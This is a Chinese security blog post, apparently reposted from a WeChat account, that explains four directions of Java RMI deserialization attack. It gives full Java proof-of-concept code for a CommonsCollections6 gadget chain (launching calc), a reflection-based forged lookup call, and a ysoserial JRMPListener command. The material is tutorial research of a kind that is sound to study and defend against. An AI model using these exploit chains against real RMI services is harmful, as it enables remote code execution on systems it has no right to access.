【技术干货】RMI-攻击方式总结

admin 2021年10月27日16:46:21评论113 views字数 10211阅读34分2秒阅读模式

【技术干货】RMI-攻击方式总结


RMI,是Remote Method Invocation(远程方法调用)的缩写,即在一个JVM中java程序调用在另一个远程JVM中运行的java程序,这个远程JVM既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。java RMI封装了远程调用的实现细节,进行简单的配置之后,就可以如同调用本地方法一样,比较透明地调用远端方法。

RMI包括以下三个部分:

  • Registry: 提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端从Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用。
  • Server: 远程方法的提供者,并向Registry注册自身提供的服务
  • Client: 远程方法的消费者,从Registry获取远程方法的相关信息并且调用


测试环境:JDK8u41

Client和Regisry基于Stub和Skeleton进行通信,分别对应RegistryImpl_Stub和 RegistryImpl_Skel两个类。

【技术干货】RMI-攻击方式总结


Server 攻击 Registry

Server端在执行bind或者rebind方法的时候会将对象以序列化的形式传输给Registry,导致 Registry反序列化被RCE。

Registry

package SAR;import java.rmi.registry.LocateRegistry;public class RMIRegistry {    public static void main(String[] args) {        try {            LocateRegistry.createRegistry(1099);            System.out.println("RMI Registry Start");        } catch (Exception e) {            e.printStackTrace();        }        while (true);    }}

Server

package SAR;import com.sun.corba.se.impl.presentation.rmi.InvocationHandlerFactoryImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import util.Calc;import util.Utils;import java.lang.reflect.Proxy;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.HashMap;import java.util.Map;public class RMIServer {    public static void main(String[] args) throws Exception {        // CommonsCollections6        TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);        Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);        Map innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);        HashMap expMap = new HashMap();        expMap.put(tiedMapEntry, "value");        outerMap.clear();        Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");        // bind to registry        Registry registry = LocateRegistry.getRegistry(1099);        InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);        Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);        registry.bind("pwn", remote);        // registry.rebind("pwn", remote);    }}

InvocationHandlerImpl

package SAR;
import java.io.Serializable;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.util.Map;
public class InvocationHandlerImpl implements InvocationHandler, Serializable { protected Map map;
public InvocationHandlerImpl(Map map) { this.map = map; }
@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { return null; }}
为什么需要InvicationHandlerImpl?
实现了Remote接口的对象才可以被Server绑定,CC6最后要反序列化的是一个Map类型的对象,显然不可以被绑定,所以这里就需要用一层动态代理,用 InvocationHandlerImpl对象(handler)把Remote接口代理就可以获取到实现了Remote接口的对象。
代理对象内部有InvocationHandlerImpl对象的引用,而后者内部也有一个expMap的引用,三者都实现了Serializable接口,由于反序列化具有传递性,当代理对象被反序列化的时候,最后也会导致expMap被反序列化。
备注:这里的InvocationHandlerImpl可以用现有的AnnotationInvocationHandler代替。
【技术干货】RMI-攻击方式总结


Client攻击Registry

Registry端在接收请求的时候会将数据进行反序列化处理:
【技术干货】RMI-攻击方式总结
备注(方法和 case 的对应关系):
【技术干货】RMI-攻击方式总结
所以如果控制lookup方法的参数是一个恶意对象的话,那么就可以攻击 Registry 达到 RCE 的效果。
主要问题在于lookup方法接收一个String类型的参数,无法直接利用,需要手动模拟 RegistryImpl_Stub#lookup方法传递过程:
【技术干货】RMI-攻击方式总结


Client

package CAR;
import SAR.InvocationHandlerImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import sun.rmi.server.UnicastRef;import util.Calc;import util.Utils;
import java.io.ObjectOutput;import java.lang.reflect.Field;import java.lang.reflect.Proxy;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.Operation;import java.rmi.server.RemoteCall;import java.rmi.server.RemoteObject;import java.util.HashMap;import java.util.Map;
public class RMIClient { public static void main(String[] args) throws Exception { TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class); Transformer invokerTransformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates); HashMap expMap = new HashMap(); expMap.put(tiedMapEntry, "value"); outerMap.clear(); Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer"); Registry registry = LocateRegistry.getRegistry(1099); InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap); Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
Field field1 = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref"); field1.setAccessible(true); UnicastRef ref = (UnicastRef) field1.get(registry);
Field field2 = registry.getClass().getDeclaredField("operations"); field2.setAccessible(true); Operation[] operations = (Operation[]) field2.get(registry);
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(remote); ref.invoke(var2); }}


package SAR;
import java.rmi.registry.LocateRegistry;
public class RMIRegistry { public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); System.out.println("RMI Registry Start"); } catch (Exception e) { e.printStackTrace(); } while (true); }}

Client 攻击 Server

Client 发送请求

Client端执行完lookup方法获取到远程对象,这个对象实际上是一个获取到的远程对象实际上是一个代理对象,请求会被派发到RemoteObjectInvocationHandler#invoke方法里面去:
【技术干货】RMI-攻击方式总结


前面多个 if 都不满足,直接来到

RemoteObjectInvocationHandler#invokeRemoteMethod:
【技术干货】RMI-攻击方式总结


这里的ref是UnicastRef对象,来到UnicastRef#invoke,这里代码比较长,重点地方已经标注:
【技术干货】RMI-攻击方式总结


而这个远程对象在执行方法的时候,方法参数类型和参数都是以序列化形式传输到 Server(var2就是方法,var3就是参数):
【技术干货】RMI-攻击方式总结


【技术干货】RMI-攻击方式总结

Server 端处理

Server端处理Client请求的方法在UnicastServerRef#dispatch,对参数进行反序列化之后通过反射进行调用(var8 就是 Method,var10 是经过反序列化之后的参数,var1是绑定的 Remote对象):
【技术干货】RMI-攻击方式总结


与客户端的marshalValue方法对应,服务端也有一个unmarshalValue方法用来对参数进行反序列化:

【技术干货】RMI-攻击方式总结


此外,具体执行哪一个方法是根据hash值来识别的:

【技术干货】RMI-攻击方式总结
Client
package CAS;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import util.Calc;import util.Utils;
import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.HashMap;import java.util.Map;
public class RMIClient { public static void main(String[] args) throws Exception { TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class); Transformer invokerTransformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates); HashMap expMap = new HashMap(); expMap.put(tiedMapEntry, "value"); outerMap.clear(); Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
Registry registry = LocateRegistry.getRegistry(1099); TestInterface remoteObj = (TestInterface) registry.lookup("test"); // 获取到的远程对象实际上是一个代理对象,请求会被派发到RemoteObjectInvocationHandler#invoke方法里面去 remoteObj.testMethod(expMap); }}

Server

package CAS;
import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry(1099); TestInterfaceImpl testInterface = new TestInterfaceImpl(); registry.rebind("test", testInterface); }}

接口和类

package CAS;
import java.rmi.Remote;import java.rmi.RemoteException;
public interface TestInterface extends Remote { void testMethod(Object obj) throws RemoteException;}


package CAS;

import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;
public class TestInterfaceImpl extends UnicastRemoteObject implements TestInterface { protected TestInterfaceImpl() throws RemoteException { super(); }
@Override public void testMethod(Object obj) throws RemoteException { System.out.println("..."); }}

Server攻击Client

Server端方法的执行结果也是以序列化的形式传输到Client的,还是在 UnicastServerRef#dispatch方法中:

【技术干货】RMI-攻击方式总结

而在Client端同样会对方法的执行结果进行反序列化处理,UnicastRef#invoke:

【技术干货】RMI-攻击方式总结

所以服务端如果可以控制返回的数据为恶意序列化数据,那么客户端就会被 RCE。

Client

package SAC;
import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
public class RMIClient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry(1099); TestInterface remote = (TestInterface) registry.lookup("test"); System.out.println(remote.testMethod()); }}

Server

package SAC;
import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry(1099); TestInterfaceImpl testInterface = new TestInterfaceImpl(); registry.bind("test", testInterface); }}

接口和类

package SAC;
import java.rmi.Remote;import java.rmi.RemoteException;
public interface TestInterface extends Remote { Object testMethod() throws RemoteException;}
package SAC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import util.Calc;import util.Utils;
import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;import java.util.HashMap;import java.util.Map;
public class TestInterfaceImpl extends UnicastRemoteObject implements TestInterface { public TestInterfaceImpl() throws RemoteException { super(); }
@Override public Object testMethod() throws RemoteException { try { TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class); Transformer invokerTransformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates); HashMap expMap = new HashMap(); expMap.put(tiedMapEntry, "value"); outerMap.clear(); Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
return expMap; } catch (Exception e) { e.printStackTrace(); } return null; }}

Registry 攻击 Client&Server

更准确的表达是:JRMP服务端攻击 JRMP 客户端。

使用ysoserial开启一个JRMP监听服务(这里指的是exploit/JRMPListener):

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'calc'

只要服务端或者客户端获取到Registry,并且执行了以下方法之一,自身就会被RCE:

list / unbind / lookup / rebind / bind

【技术干货】RMI-攻击方式总结

【技术干货】RMI-攻击方式总结

RMI通信过程中使用的是JRMP协议,ysoserial中的exploit/JRMPListener会在指定端口开启一个JRMP Server,然后会向任何连接其的客户端发送反序列化payload。


往期 · 推荐

【技术干货】RMI-攻击方式总结
【技术干货】RMI-攻击方式总结
【技术干货】RMI-攻击方式总结

【技术干货】RMI-攻击方式总结


【技术干货】RMI-攻击方式总结

原文始发于微信公众号(星阑科技):【技术干货】RMI-攻击方式总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月27日16:46:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术干货】RMI-攻击方式总结https://cn-sec.com/archives/600766.html

发表评论

匿名网友 填写信息